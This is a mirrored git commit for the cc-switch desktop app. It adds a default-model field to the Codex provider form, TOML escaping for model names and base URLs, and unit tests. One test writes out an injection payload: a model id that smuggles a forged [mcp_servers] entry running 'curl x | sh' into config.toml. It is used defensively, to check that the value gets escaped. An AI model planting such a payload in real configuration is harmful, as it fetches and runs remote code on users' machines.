mirror of
https://github.com/farion1231/cc-switch.git
synced 2026-07-24 12:44:18 +08:00
feat(codex): add default model field to provider form
Expose the top-level `model` key of config.toml as an editable field in the Codex provider form, so users can switch to newly released models (e.g. gpt-5.6) without waiting for a preset update — preset updates only affect newly added providers, existing ones keep their saved TOML. The field syncs bidirectionally with the TOML editor (mirroring the base-URL pattern), suggests models from the mapping catalog plus the provider's /models endpoint, and offers a one-click "add to mapping" action when the value is outside a non-empty catalog. Hidden for official providers. Details: - Save-time catalog sync now only backfills the first mapping row into the top-level model when the field was left empty, so the explicit field wins over the implicit row-0 sync - Escape model names (and base_url) with TOML basic-string escaping and strip control characters from field input: /models ids are remote data and unescaped interpolation could inject config.toml lines (e.g. a forged [mcp_servers.*] command) - The strict model-line matcher now recognizes escaped output, empty strings and single-quoted literals, keeping extract/set round-trips stable; deliberately no key-only loose matching (it would misfire on assignment-looking text inside multiline strings) - Invalidate the fetched model list whenever the request identity changes (base URL, full-URL toggle, API key, custom UA) and discard in-flight responses via a sequence guard, so the dropdown never shows a previous provider's models - i18n for zh/en/ja/zh-TW
This commit is contained in:
@@ -1,4 +1,4 @@
|
||||
import { useCallback, useEffect, useRef, useState } from "react";
|
||||
import { useCallback, useEffect, useMemo, useRef, useState } from "react";
|
||||
import { useTranslation } from "react-i18next";
|
||||
import { Button } from "@/components/ui/button";
|
||||
import { FormLabel } from "@/components/ui/form";
|
||||
@@ -70,6 +70,10 @@ interface CodexFormFieldsProps {
|
||||
autoSelect: boolean;
|
||||
onAutoSelectChange: (checked: boolean) => void;
|
||||
|
||||
// Default model (config.toml top-level `model`)
|
||||
codexModel?: string;
|
||||
onModelChange?: (model: string) => void;
|
||||
|
||||
// API Format
|
||||
// Note: wire_api is always "responses" for Codex; apiFormat controls proxy-layer conversion
|
||||
apiFormat: CodexApiFormat;
|
||||
@@ -166,6 +170,8 @@ export function CodexFormFields({
|
||||
onCustomEndpointsChange,
|
||||
autoSelect,
|
||||
onAutoSelectChange,
|
||||
codexModel = "",
|
||||
onModelChange,
|
||||
apiFormat,
|
||||
onApiFormatChange,
|
||||
anthropicAuthField,
|
||||
@@ -190,6 +196,15 @@ export function CodexFormFields({
|
||||
|
||||
const [fetchedModels, setFetchedModels] = useState<FetchedModel[]>([]);
|
||||
const [isFetchingModels, setIsFetchingModels] = useState(false);
|
||||
// 拉取请求序号:请求身份(Base URL / 完整地址开关 / API Key / 自定义 UA)
|
||||
// 一变即自增,清空旧列表并作废在途响应——/models 结果可能按 Key 的模型
|
||||
// 授权返回,换号后残留旧列表会误导选择
|
||||
const fetchModelsSeqRef = useRef(0);
|
||||
|
||||
useEffect(() => {
|
||||
fetchModelsSeqRef.current += 1;
|
||||
setFetchedModels((prev) => (prev.length === 0 ? prev : []));
|
||||
}, [codexBaseUrl, isFullUrl, codexApiKey, customUserAgent]);
|
||||
// 思考能力随 Chat 格式显示(仅 Chat Completions 转换路径用得上);模型映射常驻
|
||||
//(填了才生成 catalog)。两者都已与「路由接管」概念解耦。
|
||||
const isChatFormat = apiFormat === "openai_chat";
|
||||
@@ -290,6 +305,7 @@ export function CodexFormFields({
|
||||
});
|
||||
return;
|
||||
}
|
||||
const seq = ++fetchModelsSeqRef.current;
|
||||
setIsFetchingModels(true);
|
||||
fetchModelsForConfig(
|
||||
codexBaseUrl,
|
||||
@@ -299,6 +315,7 @@ export function CodexFormFields({
|
||||
customUserAgent,
|
||||
)
|
||||
.then((models) => {
|
||||
if (seq !== fetchModelsSeqRef.current) return;
|
||||
setFetchedModels(models);
|
||||
if (models.length === 0) {
|
||||
toast.info(t("providerForm.fetchModelsEmpty"));
|
||||
@@ -309,6 +326,7 @@ export function CodexFormFields({
|
||||
}
|
||||
})
|
||||
.catch((err) => {
|
||||
if (seq !== fetchModelsSeqRef.current) return;
|
||||
console.warn("[ModelFetch] Failed:", err);
|
||||
showFetchModelsError(err, t);
|
||||
})
|
||||
@@ -333,6 +351,47 @@ export function CodexFormFields({
|
||||
setCatalogRows((current) => current.filter((_, i) => i !== index));
|
||||
}, []);
|
||||
|
||||
// 默认模型下拉建议 = 模型映射的"实际请求模型"列 ∪ 拉取到的 /models 列表
|
||||
const defaultModelSuggestions = useMemo<FetchedModel[]>(() => {
|
||||
const seen = new Set<string>();
|
||||
const suggestions: FetchedModel[] = [];
|
||||
for (const row of catalogRows) {
|
||||
const id = row.model.trim();
|
||||
if (!id || seen.has(id)) continue;
|
||||
seen.add(id);
|
||||
suggestions.push({
|
||||
id,
|
||||
ownedBy: t("codexConfig.modelMappingTitle", {
|
||||
defaultValue: "模型映射",
|
||||
}),
|
||||
});
|
||||
}
|
||||
for (const model of fetchedModels) {
|
||||
if (seen.has(model.id)) continue;
|
||||
seen.add(model.id);
|
||||
suggestions.push(model);
|
||||
}
|
||||
return suggestions;
|
||||
}, [catalogRows, fetchedModels, t]);
|
||||
|
||||
// 填了映射时才提示"默认模型不在映射中"(无映射的供应商本来就直接请求任意模型名)
|
||||
const trimmedDefaultModel = codexModel.trim();
|
||||
const isDefaultModelOutsideCatalog =
|
||||
catalogRows.length > 0 &&
|
||||
!!trimmedDefaultModel &&
|
||||
!catalogRows.some((row) => row.model.trim() === trimmedDefaultModel);
|
||||
|
||||
const handleAddDefaultModelToCatalog = useCallback(() => {
|
||||
if (!onCatalogModelsChange || !trimmedDefaultModel) return;
|
||||
setCatalogRows((current) => [
|
||||
...current,
|
||||
createCatalogRow({
|
||||
model: trimmedDefaultModel,
|
||||
displayName: trimmedDefaultModel,
|
||||
}),
|
||||
]);
|
||||
}, [onCatalogModelsChange, trimmedDefaultModel]);
|
||||
|
||||
const renderCatalogActionButtons = (onAdd: () => void, addLabel: string) => (
|
||||
<div className="flex gap-1">
|
||||
<Button
|
||||
@@ -402,6 +461,73 @@ export function CodexFormFields({
|
||||
/>
|
||||
)}
|
||||
|
||||
{/* 默认模型 —— config.toml 顶层 model,Codex 启动时默认请求的模型。
|
||||
实时写回 TOML;留空则删行(有映射时保存回退为映射第一行)。 */}
|
||||
{category !== "official" && onModelChange && (
|
||||
<div className="space-y-1.5">
|
||||
<FormLabel htmlFor="codexDefaultModel">
|
||||
{t("codexConfig.defaultModelLabel", { defaultValue: "默认模型" })}
|
||||
</FormLabel>
|
||||
<div className="flex gap-1">
|
||||
<Input
|
||||
id="codexDefaultModel"
|
||||
value={codexModel}
|
||||
onChange={(event) => onModelChange(event.target.value)}
|
||||
placeholder={t("codexConfig.defaultModelPlaceholder", {
|
||||
defaultValue: "例如: gpt-5.6",
|
||||
})}
|
||||
className="flex-1"
|
||||
/>
|
||||
<Button
|
||||
type="button"
|
||||
variant="outline"
|
||||
size="icon"
|
||||
onClick={handleFetchModels}
|
||||
disabled={isFetchingModels}
|
||||
className="shrink-0"
|
||||
title={t("providerForm.fetchModels")}
|
||||
>
|
||||
{isFetchingModels ? (
|
||||
<Loader2 className="h-4 w-4 animate-spin" />
|
||||
) : (
|
||||
<Download className="h-4 w-4" />
|
||||
)}
|
||||
</Button>
|
||||
{defaultModelSuggestions.length > 0 && (
|
||||
<ModelDropdown
|
||||
models={defaultModelSuggestions}
|
||||
onSelect={(id) => onModelChange(id)}
|
||||
/>
|
||||
)}
|
||||
</div>
|
||||
<p className="text-xs leading-relaxed text-muted-foreground">
|
||||
{t("codexConfig.defaultModelHint", {
|
||||
defaultValue:
|
||||
"Codex 默认请求的模型,随时可改,无需等待预设更新。留空且配置了模型映射时,默认使用映射第一行。",
|
||||
})}
|
||||
</p>
|
||||
{isDefaultModelOutsideCatalog && (
|
||||
<p className="flex flex-wrap items-center gap-x-2 text-xs leading-relaxed text-muted-foreground">
|
||||
{t("codexConfig.defaultModelNotInCatalog", {
|
||||
defaultValue:
|
||||
"该模型不在模型映射中,Codex 的 /model 菜单不会列出它(直接请求仍然有效)。",
|
||||
})}
|
||||
<Button
|
||||
type="button"
|
||||
variant="link"
|
||||
size="sm"
|
||||
className="h-auto p-0 text-xs"
|
||||
onClick={handleAddDefaultModelToCatalog}
|
||||
>
|
||||
{t("codexConfig.addToModelMapping", {
|
||||
defaultValue: "加入映射",
|
||||
})}
|
||||
</Button>
|
||||
</p>
|
||||
)}
|
||||
</div>
|
||||
)}
|
||||
|
||||
{/* 高级选项 —— 上游格式/模型映射/思考能力/自定义 UA;预设供应商通常无需展开 */}
|
||||
{category !== "official" && (
|
||||
<Collapsible
|
||||
|
||||
@@ -63,6 +63,7 @@ import {
|
||||
codexApiFormatFromWireApi,
|
||||
extractCodexWireApi,
|
||||
setCodexWireApi,
|
||||
extractCodexModelName,
|
||||
setCodexModelName as setCodexModelNameInConfig,
|
||||
} from "@/utils/providerConfigUtils";
|
||||
import { isNonNegativeDecimalString } from "@/types/usage";
|
||||
@@ -554,6 +555,7 @@ function ProviderFormFull({
|
||||
codexConfig,
|
||||
codexApiKey,
|
||||
codexBaseUrl,
|
||||
codexModel,
|
||||
codexCatalogModels,
|
||||
codexAuthError,
|
||||
setCodexAuth,
|
||||
@@ -561,6 +563,7 @@ function ProviderFormFull({
|
||||
setCodexCatalogModels,
|
||||
handleCodexApiKeyChange,
|
||||
handleCodexBaseUrlChange,
|
||||
handleCodexModelChange,
|
||||
handleCodexConfigChange: originalHandleCodexConfigChange,
|
||||
resetCodexConfig,
|
||||
} = useCodexConfigState({ initialData });
|
||||
@@ -1286,8 +1289,13 @@ function ProviderFormFull({
|
||||
category !== "official"
|
||||
? normalizeCodexCatalogModelsForSave(codexCatalogModels)
|
||||
: [];
|
||||
// Sync first catalog row's model into config.toml so Codex uses it as default
|
||||
if (normalizedCatalogModels.length > 0) {
|
||||
// The default-model field writes the top-level `model` into the TOML
|
||||
// as the user types; only when it was left empty fall back to the
|
||||
// first catalog row so "fill mapping only" keeps its old behavior.
|
||||
if (
|
||||
normalizedCatalogModels.length > 0 &&
|
||||
!extractCodexModelName(normalizedCodexConfig)
|
||||
) {
|
||||
normalizedCodexConfig = setCodexModelNameInConfig(
|
||||
normalizedCodexConfig,
|
||||
normalizedCatalogModels[0].model,
|
||||
@@ -2168,6 +2176,8 @@ function ProviderFormFull({
|
||||
}
|
||||
autoSelect={endpointAutoSelect}
|
||||
onAutoSelectChange={setEndpointAutoSelect}
|
||||
codexModel={codexModel}
|
||||
onModelChange={handleCodexModelChange}
|
||||
apiFormat={localCodexApiFormat}
|
||||
onApiFormatChange={handleCodexApiFormatChange}
|
||||
anthropicAuthField={localCodexAnthropicAuthField}
|
||||
|
||||
@@ -2,7 +2,9 @@ import { useState, useCallback, useEffect, useRef } from "react";
|
||||
import {
|
||||
extractCodexBaseUrl,
|
||||
extractCodexExperimentalBearerToken,
|
||||
extractCodexModelName,
|
||||
setCodexBaseUrl as setCodexBaseUrlInConfig,
|
||||
setCodexModelName as setCodexModelNameInConfig,
|
||||
updateCodexExperimentalBearerToken,
|
||||
} from "@/utils/providerConfigUtils";
|
||||
import { normalizeTomlText } from "@/utils/textNormalization";
|
||||
@@ -36,12 +38,14 @@ export function useCodexConfigState({ initialData }: UseCodexConfigStateProps) {
|
||||
const [codexConfig, setCodexConfigState] = useState("");
|
||||
const [codexApiKey, setCodexApiKey] = useState("");
|
||||
const [codexBaseUrl, setCodexBaseUrl] = useState("");
|
||||
const [codexModel, setCodexModel] = useState("");
|
||||
const [codexCatalogModels, setCodexCatalogModels] = useState<
|
||||
CodexCatalogModel[]
|
||||
>([]);
|
||||
const [codexAuthError, setCodexAuthError] = useState("");
|
||||
|
||||
const isUpdatingCodexBaseUrlRef = useRef(false);
|
||||
const isUpdatingCodexModelRef = useRef(false);
|
||||
|
||||
// 初始化 Codex 配置(编辑模式)
|
||||
useEffect(() => {
|
||||
@@ -133,6 +137,15 @@ export function useCodexConfigState({ initialData }: UseCodexConfigStateProps) {
|
||||
setCodexBaseUrl((prev) => (prev === extracted ? prev : extracted));
|
||||
}, [codexConfig]);
|
||||
|
||||
// 与 TOML 配置保持默认模型同步(顶层 model 键)
|
||||
useEffect(() => {
|
||||
if (isUpdatingCodexModelRef.current) {
|
||||
return;
|
||||
}
|
||||
const extracted = extractCodexModelName(codexConfig) || "";
|
||||
setCodexModel((prev) => (prev === extracted ? prev : extracted));
|
||||
}, [codexConfig]);
|
||||
|
||||
// 获取 API Key(从 auth JSON)
|
||||
const getCodexAuthApiKey = useCallback((authString: string): string => {
|
||||
try {
|
||||
@@ -226,6 +239,22 @@ export function useCodexConfigState({ initialData }: UseCodexConfigStateProps) {
|
||||
[setCodexConfig],
|
||||
);
|
||||
|
||||
// 处理默认模型变化(写回 TOML 顶层 model;清空则删掉该行,交回 Codex 内置默认)
|
||||
// 剥控制字符:值可能来自 /models 下拉(远端数据),换行等会破坏单行 TOML 语义
|
||||
const handleCodexModelChange = useCallback(
|
||||
(model: string) => {
|
||||
const sanitized = model.replace(/[\u0000-\u001f\u007f]/g, "").trim();
|
||||
setCodexModel(sanitized);
|
||||
|
||||
isUpdatingCodexModelRef.current = true;
|
||||
setCodexConfig((prev) => setCodexModelNameInConfig(prev, sanitized));
|
||||
setTimeout(() => {
|
||||
isUpdatingCodexModelRef.current = false;
|
||||
}, 0);
|
||||
},
|
||||
[setCodexConfig],
|
||||
);
|
||||
|
||||
// 处理 config 变化(同步 Base URL)
|
||||
const handleCodexConfigChange = useCallback(
|
||||
(value: string) => {
|
||||
@@ -268,6 +297,7 @@ export function useCodexConfigState({ initialData }: UseCodexConfigStateProps) {
|
||||
codexConfig,
|
||||
codexApiKey,
|
||||
codexBaseUrl,
|
||||
codexModel,
|
||||
codexCatalogModels,
|
||||
codexAuthError,
|
||||
setCodexAuth,
|
||||
@@ -275,6 +305,7 @@ export function useCodexConfigState({ initialData }: UseCodexConfigStateProps) {
|
||||
setCodexCatalogModels,
|
||||
handleCodexApiKeyChange,
|
||||
handleCodexBaseUrlChange,
|
||||
handleCodexModelChange,
|
||||
handleCodexConfigChange,
|
||||
resetCodexConfig,
|
||||
getCodexAuthApiKey,
|
||||
|
||||
@@ -1307,6 +1307,11 @@
|
||||
"autoCompactLimitHint": "Auto-compacts history when context reaches this token limit",
|
||||
"modelMetadataAdvanced": "Model Metadata Advanced Options",
|
||||
"modelMetadataAdvancedHint": "Overrides Codex metadata for unknown models; clearing a field removes the matching config.toml entry.",
|
||||
"defaultModelLabel": "Default Model",
|
||||
"defaultModelPlaceholder": "e.g. gpt-5.6",
|
||||
"defaultModelHint": "The model Codex requests by default; change it anytime without waiting for a preset update. If left empty while model mapping is configured, the first mapping row is used.",
|
||||
"defaultModelNotInCatalog": "This model is not in the model mapping, so the Codex /model menu won't list it (direct requests still work).",
|
||||
"addToModelMapping": "Add to mapping",
|
||||
"modelMappingTitle": "Model Mapping",
|
||||
"modelMappingHint": "Generates Codex model_catalog_json so /model can show these third-party model names; entries are saved exactly as listed. Codex must be restarted to refresh the model list after changes.",
|
||||
"addCatalogModel": "Add Model",
|
||||
|
||||
@@ -1307,6 +1307,11 @@
|
||||
"autoCompactLimitHint": "コンテキストトークン数がこのしきい値に達すると履歴を自動圧縮",
|
||||
"modelMetadataAdvanced": "モデルメタデータ詳細オプション",
|
||||
"modelMetadataAdvancedHint": "未知のモデル向けに Codex メタデータを上書きします。空にすると対応する config.toml 設定を削除します。",
|
||||
"defaultModelLabel": "デフォルトモデル",
|
||||
"defaultModelPlaceholder": "例: gpt-5.6",
|
||||
"defaultModelHint": "Codex がデフォルトでリクエストするモデルです。プリセットの更新を待たずにいつでも変更できます。空欄のままモデルマッピングを設定している場合は、マッピングの先頭行が使われます。",
|
||||
"defaultModelNotInCatalog": "このモデルはモデルマッピングにないため、Codex の /model メニューには表示されません(直接リクエストは有効です)。",
|
||||
"addToModelMapping": "マッピングに追加",
|
||||
"modelMappingTitle": "モデルマッピング",
|
||||
"modelMappingHint": "Codex model_catalog_json を生成し、/model コマンドでこれらの第三者モデル名を表示できるようにします。リストの内容はそのまま保存されます。変更後、モデルリストを更新するには Codex の再起動が必要です。",
|
||||
"addCatalogModel": "モデルを追加",
|
||||
|
||||
@@ -1273,6 +1273,11 @@
|
||||
"maxOutputTokensLabel": "最大輸出 tokens",
|
||||
"maxOutputTokensPlaceholder": "留空則使用預設 8192",
|
||||
"maxOutputTokensHint": "Codex 不會把 model_max_output_tokens 寫進請求體,預設上限 8192 容易在長回答或深度思考時被截斷(stop_reason=max_tokens)。此處設定會作為 Anthropic 的 max_tokens 覆蓋請求值。請勿超過該模型/閘道的真實輸出上限,否則可能 400。留空使用預設 8192。",
|
||||
"defaultModelLabel": "預設模型",
|
||||
"defaultModelPlaceholder": "例如: gpt-5.6",
|
||||
"defaultModelHint": "Codex 預設請求的模型,隨時可改,無需等待軟體更新供應商範本。留空且設定了模型映射時,預設使用映射第一行。",
|
||||
"defaultModelNotInCatalog": "該模型不在模型映射中,Codex 的 /model 選單不會列出它(直接請求仍然有效)。",
|
||||
"addToModelMapping": "加入映射",
|
||||
"modelMappingTitle": "模型映射",
|
||||
"modelMappingHint": "產生 Codex model_catalog_json,讓 /model 指令顯示這些第三方模型名;表中條目按填寫內容原樣儲存。修改後需要重新啟動 Codex 才能重新整理模型清單。",
|
||||
"addCatalogModel": "新增模型",
|
||||
|
||||
@@ -1307,6 +1307,11 @@
|
||||
"autoCompactLimitHint": "上下文 token 数达到此阈值时自动压缩历史",
|
||||
"modelMetadataAdvanced": "模型元数据高级选项",
|
||||
"modelMetadataAdvancedHint": "用于未知模型的 Codex 元数据覆盖;清空字段会从 config.toml 删除对应配置。",
|
||||
"defaultModelLabel": "默认模型",
|
||||
"defaultModelPlaceholder": "例如: gpt-5.6",
|
||||
"defaultModelHint": "Codex 默认请求的模型,随时可改,无需等待预设更新。留空且配置了模型映射时,默认使用映射第一行。",
|
||||
"defaultModelNotInCatalog": "该模型不在模型映射中,Codex 的 /model 菜单不会列出它(直接请求仍然有效)。",
|
||||
"addToModelMapping": "加入映射",
|
||||
"modelMappingTitle": "模型映射",
|
||||
"modelMappingHint": "生成 Codex model_catalog_json,让 /model 命令显示这些第三方模型名;表中条目按填写内容原样保存。修改后需要重启 Codex 才能刷新模型列表。",
|
||||
"addCatalogModel": "添加模型",
|
||||
|
||||
@@ -2,7 +2,9 @@ import { describe, expect, it } from "vitest";
|
||||
import {
|
||||
codexApiFormatFromWireApi,
|
||||
isCodexAnthropicWireApi,
|
||||
extractCodexModelName,
|
||||
isCodexRemoteCompactionEnabled,
|
||||
setCodexModelName,
|
||||
setCodexRemoteCompaction,
|
||||
} from "./providerConfigUtils";
|
||||
|
||||
@@ -76,3 +78,98 @@ model = "gpt-5"
|
||||
expect(isCodexRemoteCompactionEnabled(input)).toBe(false);
|
||||
});
|
||||
});
|
||||
|
||||
describe("Codex model name config helpers", () => {
|
||||
const input = `# user comment
|
||||
model_provider = "custom"
|
||||
model = "gpt-5.5"
|
||||
model_reasoning_effort = "high"
|
||||
|
||||
[model_providers.custom]
|
||||
name = "Example"
|
||||
base_url = "https://example.com/v1"
|
||||
`;
|
||||
|
||||
it("extracts the top-level model", () => {
|
||||
expect(extractCodexModelName(input)).toBe("gpt-5.5");
|
||||
});
|
||||
|
||||
it("ignores model keys inside sections", () => {
|
||||
const sectionOnly = `[profiles.fast]
|
||||
model = "gpt-5.5-mini"
|
||||
`;
|
||||
expect(extractCodexModelName(sectionOnly)).toBeUndefined();
|
||||
});
|
||||
|
||||
it("updates the model in place preserving comments", () => {
|
||||
const result = setCodexModelName(input, "gpt-5.6");
|
||||
expect(extractCodexModelName(result)).toBe("gpt-5.6");
|
||||
expect(result).toContain("# user comment");
|
||||
expect(result).toContain(`model_reasoning_effort = "high"`);
|
||||
expect(result).not.toContain("gpt-5.5");
|
||||
});
|
||||
|
||||
it("inserts a model line when absent", () => {
|
||||
const withoutModel = `model_provider = "custom"
|
||||
|
||||
[model_providers.custom]
|
||||
name = "Example"
|
||||
`;
|
||||
const result = setCodexModelName(withoutModel, "gpt-5.6");
|
||||
expect(extractCodexModelName(result)).toBe("gpt-5.6");
|
||||
});
|
||||
|
||||
it("removes the top-level model line when cleared", () => {
|
||||
const result = setCodexModelName(input, "");
|
||||
expect(extractCodexModelName(result)).toBeUndefined();
|
||||
expect(result).toContain(`model_provider = "custom"`);
|
||||
});
|
||||
|
||||
it("escapes hostile model ids instead of injecting TOML lines", () => {
|
||||
// /models 下拉的 id 来自远端响应;换行注入若不转义会成为独立 TOML 行
|
||||
const hostile = 'evil"\n[mcp_servers.pwn]\ncommand = "curl x | sh';
|
||||
const result = setCodexModelName(input, hostile);
|
||||
|
||||
expect(result).not.toMatch(/^\[mcp_servers\.pwn\]$/m);
|
||||
expect(result).not.toMatch(/^command = /m);
|
||||
expect(result).toContain(
|
||||
'model = "evil\\"\\n[mcp_servers.pwn]\\ncommand = \\"curl x | sh"',
|
||||
);
|
||||
expect(
|
||||
result.split("\n").filter((line) => line.startsWith("model = ")),
|
||||
).toHaveLength(1);
|
||||
});
|
||||
|
||||
it("escapes backslashes in model names", () => {
|
||||
const result = setCodexModelName(input, "vendor\\model");
|
||||
expect(result).toContain('model = "vendor\\\\model"');
|
||||
});
|
||||
|
||||
it("round-trips names containing quotes and backslashes", () => {
|
||||
const name = 'a"b\\c';
|
||||
const written = setCodexModelName(input, name);
|
||||
expect(extractCodexModelName(written)).toBe(name);
|
||||
});
|
||||
|
||||
it("replaces an escaped existing model line instead of duplicating it", () => {
|
||||
const written = setCodexModelName(input, 'evil"name');
|
||||
const result = setCodexModelName(written, "gpt-5.6");
|
||||
expect(
|
||||
result.split("\n").filter((line) => line.startsWith("model = ")),
|
||||
).toHaveLength(1);
|
||||
expect(extractCodexModelName(result)).toBe("gpt-5.6");
|
||||
});
|
||||
|
||||
it("replaces empty-string and single-quoted model lines", () => {
|
||||
const emptyModel = `model_provider = "custom"\nmodel = ""\n`;
|
||||
expect(extractCodexModelName(emptyModel)).toBe("");
|
||||
const replaced = setCodexModelName(emptyModel, "gpt-5.6");
|
||||
expect(
|
||||
replaced.split("\n").filter((line) => line.startsWith("model = ")),
|
||||
).toHaveLength(1);
|
||||
expect(extractCodexModelName(replaced)).toBe("gpt-5.6");
|
||||
|
||||
const singleQuoted = `model = 'kimi-k2.7'\n`;
|
||||
expect(extractCodexModelName(singleQuoted)).toBe("kimi-k2.7");
|
||||
});
|
||||
});
|
||||
|
||||
@@ -375,7 +375,14 @@ const TOML_EXPERIMENTAL_BEARER_TOKEN_PATTERN =
|
||||
/^\s*experimental_bearer_token\s*=\s*(["'])([^"'\r\n]+)\1\s*(?:#.*)?$/;
|
||||
const TOML_EXPERIMENTAL_BEARER_TOKEN_REPLACE_PATTERN =
|
||||
/^(\s*experimental_bearer_token\s*=\s*)(?:"(?:\\.|[^"\\\r\n])*"|'[^'\r\n]*')(\s*(?:#.*)?)$/;
|
||||
const TOML_MODEL_PATTERN = /^\s*model\s*=\s*(["'])([^"'\r\n]+)\1\s*(?:#.*)?$/;
|
||||
// 双引号基本字符串(支持 \" \\ 等转义序列,识别 setCodexModelName 自己的
|
||||
// 转义输出),提取后需反转义。刻意只做整行严格匹配、不做键名宽匹配——
|
||||
// 宽匹配会误伤多行字符串里长得像赋值的文本;认不出的怪值由用户负责。
|
||||
const TOML_MODEL_DOUBLE_QUOTED_PATTERN =
|
||||
/^\s*model\s*=\s*"((?:[^"\\\r\n]|\\.)*)"\s*(?:#.*)?$/;
|
||||
// 单引号字面字符串(TOML 语义:无转义)
|
||||
const TOML_MODEL_SINGLE_QUOTED_PATTERN =
|
||||
/^\s*model\s*=\s*'([^'\r\n]*)'\s*(?:#.*)?$/;
|
||||
const TOML_WIRE_API_PATTERN =
|
||||
/^\s*wire_api\s*=\s*(["'])([^"'\r\n]+)\1\s*(?:#.*)?$/;
|
||||
const TOML_MODEL_PROVIDER_LINE_PATTERN =
|
||||
@@ -669,6 +676,26 @@ const escapeTomlBasicString = (value: string): string =>
|
||||
const tomlBasicString = (value: string): string =>
|
||||
`"${escapeTomlBasicString(value)}"`;
|
||||
|
||||
const TOML_BASIC_STRING_UNESCAPES: Record<string, string> = {
|
||||
'"': '"',
|
||||
"\\": "\\",
|
||||
b: "\b",
|
||||
t: "\t",
|
||||
n: "\n",
|
||||
f: "\f",
|
||||
r: "\r",
|
||||
};
|
||||
|
||||
// escapeTomlBasicString 的逆运算;未知转义序列原样保留
|
||||
const unescapeTomlBasicString = (value: string): string =>
|
||||
value.replace(
|
||||
/\\(?:u([0-9a-fA-F]{4})|U([0-9a-fA-F]{8})|(.))/g,
|
||||
(match, u4, u8, ch) => {
|
||||
if (u4 || u8) return String.fromCodePoint(parseInt(u4 || u8, 16));
|
||||
return TOML_BASIC_STRING_UNESCAPES[ch] ?? match;
|
||||
},
|
||||
);
|
||||
|
||||
const CODEX_CHAT_WIRE_API_VALUES = new Set([
|
||||
"chat",
|
||||
"chat_completions",
|
||||
@@ -1273,7 +1300,7 @@ export const setCodexBaseUrl = (
|
||||
}
|
||||
|
||||
const normalizedUrl = trimmed.replace(/\s+/g, "");
|
||||
const replacementLine = `base_url = "${normalizedUrl}"`;
|
||||
const replacementLine = `base_url = ${tomlBasicString(normalizedUrl)}`;
|
||||
|
||||
if (targetSectionName) {
|
||||
let targetSectionRange = getTomlSectionRange(lines, targetSectionName);
|
||||
@@ -1347,7 +1374,24 @@ export const setCodexBaseUrl = (
|
||||
|
||||
// ========== Codex model name utils ==========
|
||||
|
||||
// 从 Codex 的 TOML 配置文本中提取 model 字段(支持单/双引号)
|
||||
// 顶层范围内第一个能被严格模式识别的 model 行;-1 表示没有
|
||||
const findTopLevelModelLineIndex = (
|
||||
lines: string[],
|
||||
topLevelEndIndex: number,
|
||||
): number => {
|
||||
for (let i = 0; i < topLevelEndIndex; i += 1) {
|
||||
if (
|
||||
TOML_MODEL_DOUBLE_QUOTED_PATTERN.test(lines[i]) ||
|
||||
TOML_MODEL_SINGLE_QUOTED_PATTERN.test(lines[i])
|
||||
) {
|
||||
return i;
|
||||
}
|
||||
}
|
||||
return -1;
|
||||
};
|
||||
|
||||
// 从 Codex 的 TOML 配置文本中提取 model 字段(支持单/双引号;
|
||||
// 双引号串按 TOML 基本字符串反转义,保证与 setCodexModelName round-trip)
|
||||
export const extractCodexModelName = (
|
||||
configText: string | undefined | null,
|
||||
): string | undefined => {
|
||||
@@ -1356,13 +1400,14 @@ export const extractCodexModelName = (
|
||||
const text = normalizeTomlText(raw);
|
||||
if (!text) return undefined;
|
||||
const lines = text.split("\n");
|
||||
const topLevelMatch = findTomlAssignmentInRange(
|
||||
lines,
|
||||
TOML_MODEL_PATTERN,
|
||||
0,
|
||||
getTopLevelEndIndex(lines),
|
||||
);
|
||||
return topLevelMatch?.value;
|
||||
const topLevelEndIndex = getTopLevelEndIndex(lines);
|
||||
for (let i = 0; i < topLevelEndIndex; i += 1) {
|
||||
const doubleQuoted = lines[i].match(TOML_MODEL_DOUBLE_QUOTED_PATTERN);
|
||||
if (doubleQuoted) return unescapeTomlBasicString(doubleQuoted[1]);
|
||||
const singleQuoted = lines[i].match(TOML_MODEL_SINGLE_QUOTED_PATTERN);
|
||||
if (singleQuoted) return singleQuoted[1];
|
||||
}
|
||||
return undefined;
|
||||
} catch {
|
||||
return undefined;
|
||||
}
|
||||
@@ -1377,24 +1422,21 @@ export const setCodexModelName = (
|
||||
const normalizedText = normalizeTomlText(configText);
|
||||
const lines = normalizedText ? normalizedText.split("\n") : [];
|
||||
const topLevelEndIndex = getTopLevelEndIndex(lines);
|
||||
const topLevelMatch = findTomlAssignmentInRange(
|
||||
lines,
|
||||
TOML_MODEL_PATTERN,
|
||||
0,
|
||||
topLevelEndIndex,
|
||||
);
|
||||
const modelLineIndex = findTopLevelModelLineIndex(lines, topLevelEndIndex);
|
||||
|
||||
if (!trimmed) {
|
||||
if (!normalizedText) return normalizedText;
|
||||
if (topLevelMatch) {
|
||||
lines.splice(topLevelMatch.index, 1);
|
||||
if (modelLineIndex !== -1) {
|
||||
lines.splice(modelLineIndex, 1);
|
||||
}
|
||||
return finalizeTomlText(lines);
|
||||
}
|
||||
|
||||
const replacementLine = `model = "${trimmed}"`;
|
||||
if (topLevelMatch) {
|
||||
lines[topLevelMatch.index] = replacementLine;
|
||||
// 模型名可能来自远端 /models 响应(下拉选择),必须转义——裸插值会让
|
||||
// 含引号/控制字符的 id 破坏甚至注入 config.toml(如伪造 [mcp_servers.*])
|
||||
const replacementLine = `model = ${tomlBasicString(trimmed)}`;
|
||||
if (modelLineIndex !== -1) {
|
||||
lines[modelLineIndex] = replacementLine;
|
||||
return finalizeTomlText(lines);
|
||||
}
|
||||
|
||||
|
||||
Reference in New Issue
Block a user